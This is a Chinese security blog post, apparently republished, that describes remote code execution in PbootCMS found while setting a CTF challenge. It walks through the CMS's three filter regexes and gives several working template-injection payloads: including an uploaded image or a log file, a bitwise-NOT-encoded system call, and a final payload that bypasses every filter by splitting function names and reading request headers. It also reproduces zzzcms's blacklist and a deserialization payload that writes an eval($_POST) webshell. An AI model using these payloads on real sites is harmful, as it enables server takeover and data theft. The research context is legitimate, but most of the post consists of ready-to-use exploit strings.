pbootcms最新版本前台捡的rce-论如何绕废正则
2020-12-14 11:26:17 Author: xz.aliyun.com(查看原文) 阅读量:375 收藏

前言

机缘巧合,为了给bytectf出题,不会写代码,无奈拿起老本行,代码审计一下pbootcms,先说一次,CTF诚不欺我

0x01

目前公网看到的最新的是3.0.1版本的rce,https://xz.aliyun.com/t/8321,简单审计之后发现这个cms的历史漏洞真多,比如比较新的有这个 https://www.anquanke.com/post/id/222849#h3-6,不过这里与之前漏洞不太一样的是,这是修改文件上传后缀getshell,前提还需要能破解admin的密码

0x02

那么我们再来看这里的rce都是怎么防御的,总的来说,要过三个正则

\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}

([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(

(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)


可以说是非常的苛刻,最终调用的php代码如下

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

我们首先来看第一个正则


这个正则主要是限制了,if语句里面不能出现}、^、$这三个字符

我们来看看第二个正则


很明显,这里限制了调用了函数,在KCon2019大会上的提出的新特性也过滤掉了,导致调用函数基本不成可能??

来看第三个正则,是一个完全的黑名单,黑名单的产生是一个一个漏洞堆出来了,这里提一个醒,过滤了include,没有过滤require的操作实在太秀,笔者测试发现在3.0.2之前是可以配合文件上传rce的,默认cms前台是个人中心是有一个头像上传的地方,所以你懂的,注意,也是前台getshell哦,payload如下

{pboot:if(1)require "/var/www/html/static/upload/image/xxxxxxx/1531651052463520.png";//)}sdfsd{/pboot:if}

完美符合预期


这里再提一句,如果前端没有文件上传功能,这里还可以getshell,这里再给一个payload,我们可以包含日志文件,当然上面也是可以包含日志文件的,此trick来源于N1CTF_easytp5那道题

{pboot{user:password}:if(1)require+\app\home\controller\ParserController::parserMemberLabel('/Applications/MAMP/htdocs/1.php');//)}sdfsd{/pboot:if}

0x03

上面所说的为什么不能再最新版本使用呢,是因为3.0.4移除了一个decode_string函数

而老版本正好有一个双引号在带入之前是经过了html解码的,在3.0.4版本不行(在3.0.3就去除了)

所以3.0.3跟3.0.4版本变得不可行

0x04

经过了一连串历史漏洞的分析我们发现要想造成rce,最需要绕过的是第二、三个正则

([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(

大家对无字母getshell非常的熟悉,https://xz.aliyun.com/t/8107这篇文章写的非常的详细,我们参考文章尝试一下抑或可行?

在PHP7中,我们可以使用($a)()这种方法来执行命令。

(~urldecode("%8c%86%8c%8b%9a%92"))(~urldecode("%88%97%90%9e%92%96"));

这里翻译过来执行的是system('whoami');


仿佛好像有了???我们打远程看看


可以看到,经过了htmlspecialchars函数处理之后,由于存在不可见字符,直接替换为空了,这条路绝了??

0x05

下面就是这篇文章的精彩内容,CTF诚不欺我。

目前有一个思路,我们假设不存在这个htmlspecialchars函数,那么我们后面应该是可以rce的,而且细心发现,这里怎么变成了pboot@if??


是因为在调用escape_string之前,他把我们替换掉了


但是呢,我们往后看


太秀了,后面他会识别正则,然后替换为空,作为老赛棍来说,有内双写替换为空那味了,简单入门操作,就这样,我们成功的走到了最后一步


成功rce,我们在细心一点,这里我们竟然把所有正则都给过去了??

你好是的,第二个正则在这里就跟没有一样,你看,是不是直接随便绕

0x06

万事具备,只差东风,就差一个htmlspecialchars了,前面尝试的是抑或,然后编码的形式绕过死亡黑名单,但是差一点,这里不得不提到,不知道大家还记得国赛的Lovemath那道题没有


这里没有乱码,没有双引号,夜晚的星星还是那么亮,一切都是这么的朴实无华

0x07

有趣的是祥云杯线上出来了这个cms,直接完美撞车

前排提醒,zzzcms目前最新版本1.8.4也可以这么操作,这里我waf看起来恶心,结果`都没过滤,老开发了.jpg

$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','print','echo','var_dump');

0x08

万万我没有想到的跟祥云杯竟然撞车了,而与出题人一番沟通之后,发现payload跟我一样,那再这样出题,肯定是不行的,不过php是世界上最好的语言对吧,我们有没有办法绕过第三个正则呢

(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)

你好有的,更直接的方法,能让这些黑名单全部失效掉,再次之前,第一个、第二个正则已经全部失效掉了,现在三个正则都全绕过了2333,如下姿势

{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}

End

pbootcms可所谓漏洞百出,修复方法,看官方吧(php是世界上最好的语言,不过php8的存在可能导致ctfer失业)

补充

签到题预期解法如下,出现严重失误导致全部非预期,实属惭愧

O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}

原理就是这个fatal error,然后导致后面代码停止执行,但是反序列化的destruct方法还是会执行


文章来源: http://xz.aliyun.com/t/8663
如有侵权请联系:admin#unsafe.sh